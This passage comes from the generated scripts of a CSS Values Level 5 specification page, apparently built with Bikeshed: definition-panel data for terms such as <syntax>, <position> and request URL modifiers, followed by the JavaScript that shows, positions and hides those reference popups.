{"dfnID":"typedef-syntax","dfnText":"<syntax>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-syntax"},{"id":"ref-for-typedef-syntax\u2460"},{"id":"ref-for-typedef-syntax\u2461"},{"id":"ref-for-typedef-syntax\u2462"},{"id":"ref-for-typedef-syntax\u2463"},{"id":"ref-for-typedef-syntax\u2464"},{"id":"ref-for-typedef-syntax\u2465"},{"id":"ref-for-typedef-syntax\u2466"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-typedef-syntax\u2467"},{"id":"ref-for-typedef-syntax\u2468"},{"id":"ref-for-typedef-syntax\u2460\u24ea"},{"id":"ref-for-typedef-syntax\u2460\u2460"},{"id":"ref-for-typedef-syntax\u2460\u2461"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-typedef-syntax\u2460\u2462"},{"id":"ref-for-typedef-syntax\u2460\u2463"},{"id":"ref-for-typedef-syntax\u2460\u2464"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-typedef-syntax\u2460\u2465"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-typedef-syntax\u2460\u2466"}],"title":"\nChanges"}],"url":"#typedef-syntax"}, "typedef-syntax-combinator": {"dfnID":"typedef-syntax-combinator","dfnText":"<syntax-combinator>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-syntax-combinator"},{"id":"ref-for-typedef-syntax-combinator\u2460"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"#typedef-syntax-combinator"}, "typedef-syntax-component": {"dfnID":"typedef-syntax-component","dfnText":"<syntax-component>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-syntax-component"},{"id":"ref-for-typedef-syntax-component\u2460"},{"id":"ref-for-typedef-syntax-component\u2461"},{"id":"ref-for-typedef-syntax-component\u2462"},{"id":"ref-for-typedef-syntax-component\u2463"},{"id":"ref-for-typedef-syntax-component\u2464"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"#typedef-syntax-component"}, "typedef-syntax-multiplier": {"dfnID":"typedef-syntax-multiplier","dfnText":"<syntax-multiplier>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-syntax-multiplier"},{"id":"ref-for-typedef-syntax-multiplier\u2460"},{"id":"ref-for-typedef-syntax-multiplier\u2461"},{"id":"ref-for-typedef-syntax-multiplier\u2462"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"#typedef-syntax-multiplier"}, "typedef-syntax-single-component": {"dfnID":"typedef-syntax-single-component","dfnText":"<syntax-single-component>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-syntax-single-component"},{"id":"ref-for-typedef-syntax-single-component\u2460"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"#typedef-syntax-single-component"}, "typedef-syntax-string": {"dfnID":"typedef-syntax-string","dfnText":"<syntax-string>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-syntax-string"},{"id":"ref-for-typedef-syntax-string\u2460"},{"id":"ref-for-typedef-syntax-string\u2461"},{"id":"ref-for-typedef-syntax-string\u2462"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"#typedef-syntax-string"}, "typedef-syntax-type-name": {"dfnID":"typedef-syntax-type-name","dfnText":"<syntax-type-name>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-syntax-type-name"},{"id":"ref-for-typedef-syntax-type-name\u2460"},{"id":"ref-for-typedef-syntax-type-name\u2461"},{"id":"ref-for-typedef-syntax-type-name\u2462"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"#typedef-syntax-type-name"}, "typedef-toggle": {"dfnID":"typedef-toggle","dfnText":"<toggle()>","external":false,"refSections":[],"url":"#typedef-toggle"}, "typedef-transform-mix": {"dfnID":"typedef-transform-mix","dfnText":"<transform-mix()>","external":false,"refSections":[],"url":"#typedef-transform-mix"}, "typedef-view-timeline-name": {"dfnID":"typedef-view-timeline-name","dfnText":"<'view-timeline-name'>","external":false,"refSections":[],"url":"#typedef-view-timeline-name"}, "valdef-calc-size-any": {"dfnID":"valdef-calc-size-any","dfnText":"any","external":false,"refSections":[{"refs":[{"id":"ref-for-valdef-calc-size-any"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-valdef-calc-size-any\u2460"}],"title":"10.2. \nResolving calc-size()"},{"refs":[{"id":"ref-for-valdef-calc-size-any\u2461"},{"id":"ref-for-valdef-calc-size-any\u2462"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"#valdef-calc-size-any"}, "valdef-calc-size-size": {"dfnID":"valdef-calc-size-size","dfnText":"size","external":false,"refSections":[{"refs":[{"id":"ref-for-valdef-calc-size-size"},{"id":"ref-for-valdef-calc-size-size\u2460"}],"title":"10.1. \nSimplifying calc-size()"},{"refs":[{"id":"ref-for-valdef-calc-size-size\u2461"},{"id":"ref-for-valdef-calc-size-size\u2462"}],"title":"10.2. \nResolving calc-size()"}],"url":"#valdef-calc-size-size"}, "valdef-if-else": {"dfnID":"valdef-if-else","dfnText":"else","external":false,"refSections":[],"url":"#valdef-if-else"}, "valdef-interpolate-size-allow-keywords": {"dfnID":"valdef-interpolate-size-allow-keywords","dfnText":"allow-keywords","external":false,"refSections":[],"url":"#valdef-interpolate-size-allow-keywords"}, "valdef-interpolate-size-numeric-only": {"dfnID":"valdef-interpolate-size-numeric-only","dfnText":"numeric-only","external":false,"refSections":[],"url":"#valdef-interpolate-size-numeric-only"}, "valdef-position-block-end": {"dfnID":"valdef-position-block-end","dfnText":"block-end","external":false,"refSections":[],"url":"#valdef-position-block-end"}, "valdef-position-block-start": {"dfnID":"valdef-position-block-start","dfnText":"block-start","external":false,"refSections":[],"url":"#valdef-position-block-start"}, "valdef-position-bottom": {"dfnID":"valdef-position-bottom","dfnText":"bottom","external":false,"refSections":[],"url":"#valdef-position-bottom"}, "valdef-position-center": {"dfnID":"valdef-position-center","dfnText":"center","external":false,"refSections":[{"refs":[{"id":"ref-for-valdef-position-center"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"#valdef-position-center"}, "valdef-position-inline-end": {"dfnID":"valdef-position-inline-end","dfnText":"inline-end","external":false,"refSections":[],"url":"#valdef-position-inline-end"}, "valdef-position-inline-start": {"dfnID":"valdef-position-inline-start","dfnText":"inline-start","external":false,"refSections":[],"url":"#valdef-position-inline-start"}, "valdef-position-left": {"dfnID":"valdef-position-left","dfnText":"left","external":false,"refSections":[],"url":"#valdef-position-left"}, "valdef-position-length-percentage": {"dfnID":"valdef-position-length-percentage","dfnText":"<length-percentage>","external":false,"refSections":[],"url":"#valdef-position-length-percentage"}, "valdef-position-right": {"dfnID":"valdef-position-right","dfnText":"right","external":false,"refSections":[],"url":"#valdef-position-right"}, "valdef-position-top": {"dfnID":"valdef-position-top","dfnText":"top","external":false,"refSections":[],"url":"#valdef-position-top"}, "valdef-position-x-end": {"dfnID":"valdef-position-x-end","dfnText":"x-end","external":false,"refSections":[],"url":"#valdef-position-x-end"}, "valdef-position-x-start": {"dfnID":"valdef-position-x-start","dfnText":"x-start","external":false,"refSections":[],"url":"#valdef-position-x-start"}, "valdef-position-y-end": {"dfnID":"valdef-position-y-end","dfnText":"y-end","external":false,"refSections":[],"url":"#valdef-position-y-end"}, "valdef-position-y-start": {"dfnID":"valdef-position-y-start","dfnText":"y-start","external":false,"refSections":[],"url":"#valdef-position-y-start"}, "valdef-progress-animation-timeline": {"dfnID":"valdef-progress-animation-timeline","dfnText":"<'animation-timeline'>","external":false,"refSections":[],"url":"#valdef-progress-animation-timeline"}, "valdef-progress-easing-function": {"dfnID":"valdef-progress-easing-function","dfnText":"<easing-function>","external":false,"refSections":[],"url":"#valdef-progress-easing-function"}, "valdef-progress-number": {"dfnID":"valdef-progress-number","dfnText":"<number>","external":false,"refSections":[],"url":"#valdef-progress-number"}, "valdef-progress-percentage-token": {"dfnID":"valdef-progress-percentage-token","dfnText":"<percentage-token>","external":false,"refSections":[],"url":"#valdef-progress-percentage-token"}, "valdef-request-url-modifier-anonymous": {"dfnID":"valdef-request-url-modifier-anonymous","dfnText":"anonymous","external":false,"refSections":[],"url":"#valdef-request-url-modifier-anonymous"}, "valdef-request-url-modifier-no-referrer": {"dfnID":"valdef-request-url-modifier-no-referrer","dfnText":"no-referrer","external":false,"refSections":[],"url":"#valdef-request-url-modifier-no-referrer"}, "valdef-request-url-modifier-no-referrer-when-downgrade": {"dfnID":"valdef-request-url-modifier-no-referrer-when-downgrade","dfnText":"no-referrer-when-downgrade","external":false,"refSections":[],"url":"#valdef-request-url-modifier-no-referrer-when-downgrade"}, "valdef-request-url-modifier-origin": {"dfnID":"valdef-request-url-modifier-origin","dfnText":"origin","external":false,"refSections":[],"url":"#valdef-request-url-modifier-origin"}, "valdef-request-url-modifier-origin-when-cross-origin": {"dfnID":"valdef-request-url-modifier-origin-when-cross-origin","dfnText":"origin-when-cross-origin","external":false,"refSections":[],"url":"#valdef-request-url-modifier-origin-when-cross-origin"}, "valdef-request-url-modifier-same-origin": {"dfnID":"valdef-request-url-modifier-same-origin","dfnText":"same-origin","external":false,"refSections":[],"url":"#valdef-request-url-modifier-same-origin"}, "valdef-request-url-modifier-strict-origin": {"dfnID":"valdef-request-url-modifier-strict-origin","dfnText":"strict-origin","external":false,"refSections":[],"url":"#valdef-request-url-modifier-strict-origin"}, "valdef-request-url-modifier-strict-origin-when-cross-origin": {"dfnID":"valdef-request-url-modifier-strict-origin-when-cross-origin","dfnText":"strict-origin-when-cross-origin","external":false,"refSections":[],"url":"#valdef-request-url-modifier-strict-origin-when-cross-origin"}, "valdef-request-url-modifier-unsafe-url": {"dfnID":"valdef-request-url-modifier-unsafe-url","dfnText":"unsafe-url","external":false,"refSections":[],"url":"#valdef-request-url-modifier-unsafe-url"}, "valdef-request-url-modifier-use-credentials": {"dfnID":"valdef-request-url-modifier-use-credentials","dfnText":"use-credentials","external":false,"refSections":[{"refs":[{"id":"ref-for-valdef-request-url-modifier-use-credentials"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"#valdef-request-url-modifier-use-credentials"}, "whole-value": {"dfnID":"whole-value","dfnText":"7.1. \nRepresenting An Entire Property Value: the <whole-value> type","external":false,"refSections":[{"refs":[{"id":"ref-for-whole-value"},{"id":"ref-for-whole-value\u2460"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-whole-value\u2461"},{"id":"ref-for-whole-value\u2462"},{"id":"ref-for-whole-value\u2463"},{"id":"ref-for-whole-value\u2464"},{"id":"ref-for-whole-value\u2465"},{"id":"ref-for-whole-value\u2466"},{"id":"ref-for-whole-value\u2467"},{"id":"ref-for-whole-value\u2468"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"},{"refs":[{"id":"ref-for-whole-value\u2460\u24ea"},{"id":"ref-for-whole-value"},{"id":"ref-for-whole-value\u2460\u2460"},{"id":"ref-for-whole-value\u2460\u2461"},{"id":"ref-for-whole-value\u2460\u2462"},{"id":"ref-for-whole-value\u2460\u2463"},{"id":"ref-for-whole-value\u2460\u2464"}],"title":"7.1. \nRepresenting An Entire Property Value: the <whole-value> type"},{"refs":[{"id":"ref-for-whole-value\u2460\u2465"},{"id":"ref-for-whole-value\u2460\u2466"},{"id":"ref-for-whole-value\u2460\u2467"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-whole-value\u2460\u2468"},{"id":"ref-for-whole-value\u2461\u24ea"}],"title":"7.4. \nToggling Between Values: the toggle() notation"}],"url":"#whole-value"}, }; document.addEventListener("DOMContentLoaded", ()=>{ genAllDfnPanels(); document.body.addEventListener("click", (e) => { // If not handled already, just hide all dfn panels. hideAllDfnPanels(); }); }); window.addEventListener("resize", () => { // Pin any visible dfn panel queryAll(".dfn-panel.on, .dfn-panel.activated").forEach(el=>positionDfnPanel(el)); }); function genAllDfnPanels() { for(const panelData of Object.values(dfnPanelData)) { const dfnID = panelData.dfnID; const dfn = document.getElementById(dfnID); if(!dfn) { console.log(`Can't find dfn#${dfnID}.`, panelData); continue; } dfn.panelData = panelData; insertDfnPopupAction(dfn); } } function genDfnPanel(dfn, { dfnID, url, dfnText, refSections, external }) { const dfnPanel = mk.aside({ class: "dfn-panel on", id: `infopanel-for-${dfnID}`, "data-for": dfnID, "aria-labelled-by":`infopaneltitle-for-${dfnID}`, }, mk.span({id:`infopaneltitle-for-${dfnID}`, style:"display:none"}, `Info about the '${dfnText}' ${external?"external":""} reference.`), mk.a({href:url, class:"dfn-link"}, url), refSections.length == 0 ? [] : mk.b({}, "Referenced in:"), mk.ul({}, ...refSections.map(section=> mk.li({}, ...section.refs.map((ref, refI)=> [ mk.a({ href: `#${ref.id}` }, (refI == 0) ? section.title : `(${refI + 1})` ), " ", ] ), ), ), ), genLinkingSyntaxes(dfn), ); dfnPanel.addEventListener('click', (event) => { if (event.target.nodeName == 'A') { scrollToTargetAndHighlight(event); pinDfnPanel(dfnPanel); } event.stopPropagation(); refocusOnTarget(event); }); dfnPanel.addEventListener('keydown', (event) => { if(event.keyCode == 27) { // Escape key hideDfnPanel({dfnPanel}); event.stopPropagation(); event.preventDefault(); } }); dfnPanel.dfn = dfn; dfn.dfnPanel = dfnPanel; return dfnPanel; } function hideAllDfnPanels() { // Delete the currently-active dfn panel. queryAll(".dfn-panel").forEach(dfnPanel=>hideDfnPanel({dfnPanel})); } function showDfnPanel(dfn) { hideAllDfnPanels(); // Only display one at a time. dfn.setAttribute("aria-expanded", "true"); const dfnPanel = genDfnPanel(dfn, dfn.panelData); // Give the dfn a unique tabindex, and then // give all the tabbable panel bits successive indexes. let tabIndex = 100; dfn.tabIndex = tabIndex++; const tabbable = dfnPanel.querySelectorAll(":is(a, button)"); for (const el of tabbable) { el.tabIndex = tabIndex++; } append(document.body, dfnPanel); positionDfnPanel(dfnPanel); } function positionDfnPanel(dfnPanel) { const dfn = dfnPanel.dfn; const dfnPos = getBounds(dfn); dfnPanel.style.top = dfnPos.bottom + "px"; dfnPanel.style.left = dfnPos.left + "px"; const panelPos = dfnPanel.getBoundingClientRect(); const panelMargin = 8; const maxRight = document.body.parentNode.clientWidth - panelMargin; if (panelPos.right > maxRight) { const overflowAmount = panelPos.right - maxRight; const newLeft = Math.max(panelMargin, dfnPos.left - overflowAmount); dfnPanel.style.left = newLeft + "px"; } } function pinDfnPanel(dfnPanel) { // Switch it to "activated" state, which pins it. dfnPanel.classList.add("activated"); dfnPanel.style.position = "fixed"; dfnPanel.style.left = null; dfnPanel.style.top = null; } function hideDfnPanel({dfn, dfnPanel}) { if(!dfnPanel) dfnPanel = dfn.dfnPanel; if(!dfn) dfn = dfnPanel.dfn; dfn.dfnPanel = undefined; dfnPanel.dfn = undefined; dfn.setAttribute("aria-expanded", "false"); dfn.tabIndex = undefined; dfnPanel.remove() } function toggleDfnPanel(dfn) { if(dfn.dfnPanel) { hideDfnPanel(dfn); } else { showDfnPanel(dfn); } } function insertDfnPopupAction(dfn) { dfn.setAttribute('role', 'button'); dfn.setAttribute('aria-expanded', 'false') dfn.tabIndex = 0; dfn.classList.add('has-dfn-panel'); dfn.addEventListener('click', (event) => { toggleDfnPanel(dfn); event.stopPropagation(); }); dfn.addEventListener('keypress', (event) => { const kc = event.keyCode; // 32->Space, 13->Enter if(kc == 32 || kc == 13) { toggleDfnPanel(dfn); event.stopPropagation(); event.preventDefault(); } }); } function refocusOnTarget(event) { const target = event.target; setTimeout(() => { // Refocus on the event.target element. // This is needed after browser scrolls to the destination. target.focus(); }); } // TODO: shared util // Returns the root-level absolute position {left and top} of element. function getBounds(el, relativeTo=document.body) { const relativeRect = relativeTo.getBoundingClientRect(); const elRect = el.getBoundingClientRect(); const top = elRect.top - relativeRect.top; const left = elRect.left - relativeRect.left; return { top, left, bottom: top + elRect.height, right: left + elRect.width, } } function scrollToTargetAndHighlight(event) { let hash = event.target.hash; if (hash) { hash = decodeURIComponent(hash.substring(1)); const dest = document.getElementById(hash); if (dest) { dest.classList.add('highlighted'); setTimeout(() => dest.classList.remove('highlighted'), 1000); } } } // Functions, divided by link type, that wrap an autolink's // contents with the appropriate outer syntax. // Alternately, a string naming another type they format // the same as. function needsFor(type) { switch(type) { case "descriptor": case "value": case "element-attr": case "attr-value": case "element-state": case "method": case "constructor": case "argument": case "attribute": case "const": case "dict-member": case "event": case "enum-value": case "stringifier": case "serializer": case "iterator": case "maplike": case "setlike": case "state": case "mode": case "context": case "facet": return true; default: return false; } } function refusesFor(type) { switch(type) { case "property": case "element": case "interface": case "namespace": case "callback": case "dictionary": case "enum": case "exception": case "typedef": case "http-header": case "permission": return true; default: return false; } } function linkFormatterFromType(type) { switch(type) { case 'scheme': case 'permission': case 'dfn': return (text) => `[=${text}=]`; case 'abstract-op': return (text) => `[\$${text}\$]`; case 'function': case 'at-rule': case 'selector': case 'value': return (text) => `''${text}''`; case 'http-header': return (text) => `[:${text}:]`; case 'interface': case 'constructor': case 'method': case 'argument': case 'attribute': case 'callback': case 'dictionary': case 'dict-member': case 'enum': case 'enum-value': case 'exception': case 'const': case 'typedef': case 'stringifier': case 'serializer': case 'iterator': case 'maplike': case 'setlike': case 'extended-attribute': case 'event': case 'idl': return (text) => `{{${text}}}`; case 'element-state': case 'element-attr': case 'attr-value': case 'element': return (element) => `<{${element}}>`; case 'grammar': return (text) => `${text} (within a <pre class=prod>)`; case 'type': return (text)=> `<<${text}>>`; case 'descriptor': case 'property': return (text) => `'${text}'`; default: return; }; }; function genLinkingSyntaxes(dfn) { if(dfn.tagName != "DFN") return; const type = dfn.getAttribute('data-dfn-type'); if(!type) { console.log(`<dfn> doesn't have a data-dfn-type:`, dfn); return []; } // Return a function that wraps link text based on the type const linkFormatter = linkFormatterFromType(type); if(!linkFormatter) { console.log(`<dfn> has an unknown data-dfn-type:`, dfn); return []; } let ltAlts; if(dfn.hasAttribute('data-lt')) { ltAlts = dfn.getAttribute('data-lt') .split("|") .map(x=>x.trim()); } else { ltAlts = [dfn.textContent.trim()]; } if(type == "type") { // lt of "<foo>", but "foo" is the interior; // <<foo/bar>> is how you write it with a for, // not <foo/<bar>> or whatever. for(var i = 0; i < ltAlts.length; i++) { const lt = ltAlts[i]; const match = /<(.*)>/.exec(lt); if(match) { ltAlts[i] = match[1]; } } } let forAlts; if(dfn.hasAttribute('data-dfn-for')) { forAlts = dfn.getAttribute('data-dfn-for') .split(",") .map(x=>x.trim()); } else { forAlts = ['']; } let linkingSyntaxes = []; if(!needsFor(type)) { for(const lt of ltAlts) { linkingSyntaxes.push(linkFormatter(lt)); } } if(!refusesFor(type)) { for(const f of forAlts) { linkingSyntaxes.push(linkFormatter(`${f}/${ltAlts[0]}`)) } } return [ mk.b({}, 'Possible linking syntaxes:'), mk.ul({}, ...linkingSyntaxes.map(link => { const copyLink = async () => await navigator.clipboard.writeText(link); return mk.li({}, mk.div({ class: 'link-item' }, mk.button({ class: 'copy-icon', title: 'Copy', type: 'button', _onclick: copyLink, tabindex: 0, }, mk.span({ class: 'icon' }) ), mk.span({}, link) ) ); }) ) ]; } } </script> <script>/* Boilerplate: script-link-titles */ "use strict"; { let linkTitleData = { "#typedef-position": "Expands to: <length-percentage> | block-end | block-start | bottom | center | inline-end | inline-start | left | right | top | x-end | x-start | y-end | y-start", "#typedef-progress": "Expands to: <'animation-timeline'> | <easing-function> | <number> | <percentage-token>", "#typedef-request-url-modifier": "Expands to: <crossorigin-modifier> | <integrity-modifier> | <referrerpolicy-modifier> | anonymous | crossorigin() | integrity() | no-referrer | no-referrer-when-downgrade | origin | origin-when-cross-origin | referrerpolicy() | same-origin | strict-origin | strict-origin-when-cross-origin | unsafe-url | use-credentials", "https://www.w3.org/TR/CSS21/syndata.html#value-def-color": "Expands to: <alpha-value> | aliceblue | antiquewhite | aqua | aquamarine | azure | beige | bisque | black | blanchedalmond | blue | blueviolet | brown | burlywood | cadetblue | chartreuse | chocolate | coral | cornflowerblue | cornsilk | crimson | currentcolor | cyan | darkblue | darkcyan | darkgoldenrod | darkgray | darkgreen | darkgrey | darkkhaki | darkmagenta | darkolivegreen | darkorange | darkorchid | darkred | darksalmon | darkseagreen | darkslateblue | darkslategray | darkslategrey | darkturquoise | darkviolet | deeppink | deepskyblue | dimgray | dimgrey | dodgerblue | firebrick | floralwhite | forestgreen | fuchsia | gainsboro | ghostwhite | gold | goldenrod | gray | green | greenyellow | grey | honeydew | hotpink | indianred | indigo | ivory | khaki | lavender | lavenderblush | lawngreen | lemonchiffon | lightblue | lightcoral | lightcyan | lightgoldenrodyellow | lightgray | lightgreen | lightgrey | lightpink | lightsalmon | lightseagreen | lightskyblue | lightslategray | lightslategrey | lightsteelblue | lightyellow | lime | limegreen | linen | magenta | maroon | mediumaquamarine | mediumblue | mediumorchid | mediumpurple | mediumseagreen | mediumslateblue | mediumspringgreen | mediumturquoise | mediumvioletred | midnightblue | mintcream | mistyrose | moccasin | navajowhite | navy | none | oldlace | olive | olivedrab | orange | orangered | orchid | palegoldenrod | palegreen | paleturquoise | palevioletred | papayawhip | peachpuff | peru | pink | plum | powderblue | purple | rebeccapurple | red | rosybrown | royalblue | saddlebrown | salmon | sandybrown | seagreen | seashell | sienna | silver | skyblue | slateblue | slategray | slategrey | snow | springgreen | steelblue | tan | teal | thistle | tomato | transparent | turquoise | violet | wheat | white | whitesmoke | yellow | yellowgreen", "https://www.w3.org/TR/css-easing-2/#typedef-easing-function": "Expands to: linear", }; function setTypeTitles() { for(let el of document.querySelectorAll("a[href]")) { if(el.href in linkTitleData && !el.hasAttribute("title")) { el.setAttribute("title", linkTitleData[el.href]); } } } document.addEventListener("DOMContentLoaded", setTypeTitles); } </script> <script>/* Boilerplate: script-ref-hints */ "use strict"; { let refsData = { "#arbitrary-substitution-function": {"displayText":"arbitrary substitution function","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"arbitrary substitution function","type":"dfn","url":"#arbitrary-substitution-function"}, "#attr-taint": {"displayText":"attr()-taint","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"attr()-taint","type":"dfn","url":"#attr-taint"}, "#calc-size-basis": {"displayText":"calc-size basis","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"calc-size basis","type":"dfn","url":"#calc-size-basis"}, "#calc-size-calculation": {"displayText":"calc-size calculation","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"calc-size calculation","type":"dfn","url":"#calc-size-calculation"}, "#calc-size-canonicalize-for-interpolation": {"displayText":"canonicalize for interpolation","export":true,"for_":["calc-size()"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"canonicalize for interpolation","type":"dfn","url":"#calc-size-canonicalize-for-interpolation"}, "#calculate-a-progress-function": {"displayText":"calculate a progress function","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"calculate a progress function","type":"dfn","url":"#calculate-a-progress-function"}, "#comma-containing-productions": {"displayText":"comma-containing productions","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"comma-containing productions","type":"dfn","url":"#comma-containing-productions"}, "#css-random-functions": {"displayText":"random functions","export":true,"for_":["CSS"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"random functions","type":"dfn","url":"#css-random-functions"}, "#de-percentify-a-calc-size-calculation": {"displayText":"de-percentify a calc-size calculation","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"de-percentify a calc-size calculation","type":"dfn","url":"#de-percentify-a-calc-size-calculation"}, "#funcdef-attr": {"displayText":"attr()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"attr()","type":"function","url":"#funcdef-attr"}, "#funcdef-attr-type": {"displayText":"type()","export":true,"for_":["attr()"],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"type()","type":"function","url":"#funcdef-attr-type"}, "#funcdef-calc-mix": {"displayText":"calc-mix()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"calc-mix()","type":"function","url":"#funcdef-calc-mix"}, "#funcdef-calc-size": {"displayText":"calc-size()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"calc-size()","type":"function","url":"#funcdef-calc-size"}, "#funcdef-container-progress": {"displayText":"container-progress()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"container-progress()","type":"function","url":"#funcdef-container-progress"}, "#funcdef-first-valid": {"displayText":"first-valid()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"first-valid()","type":"function","url":"#funcdef-first-valid"}, "#funcdef-ident": {"displayText":"ident()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"ident()","type":"function","url":"#funcdef-ident"}, "#funcdef-if": {"displayText":"if()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"if()","type":"function","url":"#funcdef-if"}, "#funcdef-inherit": {"displayText":"inherit()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"inherit()","type":"function","url":"#funcdef-inherit"}, "#funcdef-media-progress": {"displayText":"media-progress()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"media-progress()","type":"function","url":"#funcdef-media-progress"}, "#funcdef-mix": {"displayText":"mix()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"mix()","type":"function","url":"#funcdef-mix"}, "#funcdef-progress": {"displayText":"progress()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"progress()","type":"function","url":"#funcdef-progress"}, "#funcdef-random": {"displayText":"random()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"random()","type":"function","url":"#funcdef-random"}, "#funcdef-random-item": {"displayText":"random-item()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"random-item()","type":"function","url":"#funcdef-random-item"}, "#funcdef-sibling-count": {"displayText":"sibling-count()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"sibling-count()","type":"function","url":"#funcdef-sibling-count"}, "#funcdef-sibling-index": {"displayText":"sibling-index()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"sibling-index()","type":"function","url":"#funcdef-sibling-index"}, "#funcdef-toggle": {"displayText":"toggle()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"toggle()","type":"function","url":"#funcdef-toggle"}, "#funcdef-transform-mix": {"displayText":"transform-mix()","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"transform-mix()","type":"function","url":"#funcdef-transform-mix"}, "#invalid-at-computed-value-time": {"displayText":"invalid at computed-value time","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"invalid at computed-value time","type":"dfn","url":"#invalid-at-computed-value-time"}, "#mix-end-value": {"displayText":"mix end value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"mix end value","type":"dfn","url":"#mix-end-value"}, "#mix-notations": {"displayText":"mix notations","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"mix notations","type":"dfn","url":"#mix-notations"}, "#mix-progress-value": {"displayText":"mix progress value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"mix progress value","type":"dfn","url":"#mix-progress-value"}, "#mix-start-value": {"displayText":"mix start value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"mix start value","type":"dfn","url":"#mix-start-value"}, "#non-strict-comma-containing-production": {"displayText":"non-strict comma-containing production","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"non-strict comma-containing production","type":"dfn","url":"#non-strict-comma-containing-production"}, "#parse-with-a-syntax": {"displayText":"parse with a <syntax>","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"parse with a <syntax>","type":"dfn","url":"#parse-with-a-syntax"}, "#pending-substitution-value": {"displayText":"pending-substitution value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"pending-substitution value","type":"dfn","url":"#pending-substitution-value"}, "#progress-end-value": {"displayText":"progress end value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"progress end value","type":"dfn","url":"#progress-end-value"}, "#progress-start-value": {"displayText":"progress start value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"progress start value","type":"dfn","url":"#progress-start-value"}, "#progress-value": {"displayText":"progress value","export":true,"for_":[],"level":"5","normative":true,"shortname":"css-values","spec":"css-values-5","status":"local","text":"progress value","type":"dfn","url":"#progress-value"}, "#propdef-interpolate-size": 